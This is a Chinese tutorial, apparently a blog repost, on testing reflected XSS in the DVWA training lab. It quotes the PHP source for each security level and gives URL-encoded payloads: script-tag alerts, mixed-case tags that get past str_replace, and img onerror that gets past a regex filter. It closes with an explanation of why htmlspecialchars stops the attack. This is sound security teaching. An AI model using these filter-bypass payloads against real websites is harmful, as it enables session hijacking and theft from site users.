zoukankan      html  css  js  c++  java
  • XSS Reflected 测试

     

    前言

    由于最近在做XSS方面的测试,于是找到了DVWA平台进行实验测试,通过这三篇文章让大家了解XSS方面的大概内容,这三篇文章只是把你领进XSS的大门,要想真正深入的学习XSS,你还需要去学习很多东西来提升自己。
    网站测试分为黑盒测试和白盒测试,在这里采用白盒测试来对网站进行XSS漏洞测试,XSS漏洞分为三种:反射型XSS、存储型XSS、DOM型XSS,分别用三篇文章来进行阐述。

    XSS攻击形成原理

    XSS中文名是“跨站脚本攻击”,英文全称是“Cross Site Scripting”。

    XSS也是一种注入攻击,长期以来被列为客户端web安全中的头号大敌,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML、JavaScript)到网页中时,如果用户访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击。

    OWASP TOP 10 威胁多次把XSS列在榜首,常见的危害有:cookie窃取、session劫持、钓鱼攻击、蠕虫、ddos、获取用户真实IP、识别用户浏览器 ··········

    dvwa反射型xss

    反射型XSS:只是简单地把用户输入的数据反射给浏览器,一般出现在URL参数中及网站搜索栏中,只有用户点击恶意链接触发恶意代码的URL,才能受到攻击,只能触发一次,也被称为“非持久型XSS(Non-persistent XSS)”。

    漏洞测试

    low级别

    在输入框里面随便输入一个String(admin),发现显示:Hello admin这句话,同时可以知道数据提交是以GET请求的方式

    查看源码:并没有什么Protect,这是最危险的

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }
    
    ?> 

    构造payload,执行最简单的XSS攻击

    http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22_XSS_%22%29%3C/script%3E

    当用户触发该URL时就会受到XSS攻击,有弹框出现

    后续测试,利用此漏洞,你也可以尝试去获得用户登陆的Cookie,在这里就不多说了,很容易实现的

    medium 级别

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 

    经过代码审计,可以发现medium级别进行了Protect,对GET请求到的的内容进行'<script>'字符串匹配,将内容里出现的该字

    符串替换成空,避免<script>标签造成的XSS攻击,但是<script>标签真的就不能使用了吗,答案是可以使用的,回过头来继续分析此str_replace()函数

    str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。

    在这里可以利用str_replace()函数区分大小写的缺点来进行XSS攻击

    构造payload,继续使用<script>标签进行XSS攻击

    http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3CsCript%3Ealert%28%271111%27%29%3C%2Fscript%3E#

    成功绕过<script>标签的匹配

    另一种绕过方法不使用<script>标签进行XSS攻击,既然str_repalce()函数匹配的是<script>标签,而不匹配其它标签,所以在这里也可以利用<img>标签进行XSS攻击

    构造payload

    http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D%23+onerror%3Dalert%28%22_XSS_%22%29%3E#

    <img>标签绕过str_replace()

    high 级别

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 

    代码审计之后,发现high级别存在另外一种的Protect,利用preg_replace()函数进行匹配“< s r i p t”等字符,将其置为空,此时<script>标签是不能使用的,不管是大小进行区分写都不可以

    小写<script>标签被过滤

    http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22_XSS_%22%29%3C%2Fscript%3E#

    大小写混合<script>标签被过滤

    http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3CScripT%3Ealert%28%22_XSS_%22%29%3C%2FscriPt%3E#

    上面的既然都不行,就需要利用其它标签进行XSS攻击,此处可以利用 medium 级别 中提到的<img>标签进行绕过preg_replace()函数的Protect

    构造payload

    http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D%23+onerror%3Dalert%28%22_XSS_%22%29%3E#

    <img>标签成功绕过preg_replace()

    impossible 级别

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 

    impossible 级别的Protect不能被绕过,由于htmlspecialchars()函数的保护作用

    htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
    
    预定义的字符是:
    
    & (和号)成为 &
    " (双引号)成为 "
    ' (单引号)成为 '
    < (小于)成为 <
    > (大于)成为 >
     
    它的语法如下:
    htmlspecialchars(string,flags,character-set,double_encode)
        其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下:
    
    可用的引号类型:
    
    ENT_COMPAT - 默认。仅编码双引号。
    ENT_QUOTES - 编码双引号和单引号。
    ENT_NOQUOTES - 不编码任何引号。
    默认是只编码双引号的

    因为输入的所有标签都被转义,所以此处不存在XSS攻击,但是要注意flags属性,使用不当过滤XSS时就会被绕过

  • 相关阅读:
    生成淘宝在线旺旺页面入口
    IE6下的fixed实现
    HTML和XHTML的区别
    各大浏览器内核介绍(Rendering Engine)
    [导入]从架构设计到系统实施——基于.NET 3.0的全新企业应用系列课程(5):设计基于WPF的客户端.zip(6.98 MB)
    Java核心类库——java中的包装类
    Java语言基础——运算符
    Java核心类库——集合的迭代(遍历) Iterator接口
    Java语言基础——循环控制语句while for
    Java语言基础——方法
  • 原文地址:https://www.cnblogs.com/qftm/p/10317167.html
Copyright © 2011-2022 走看看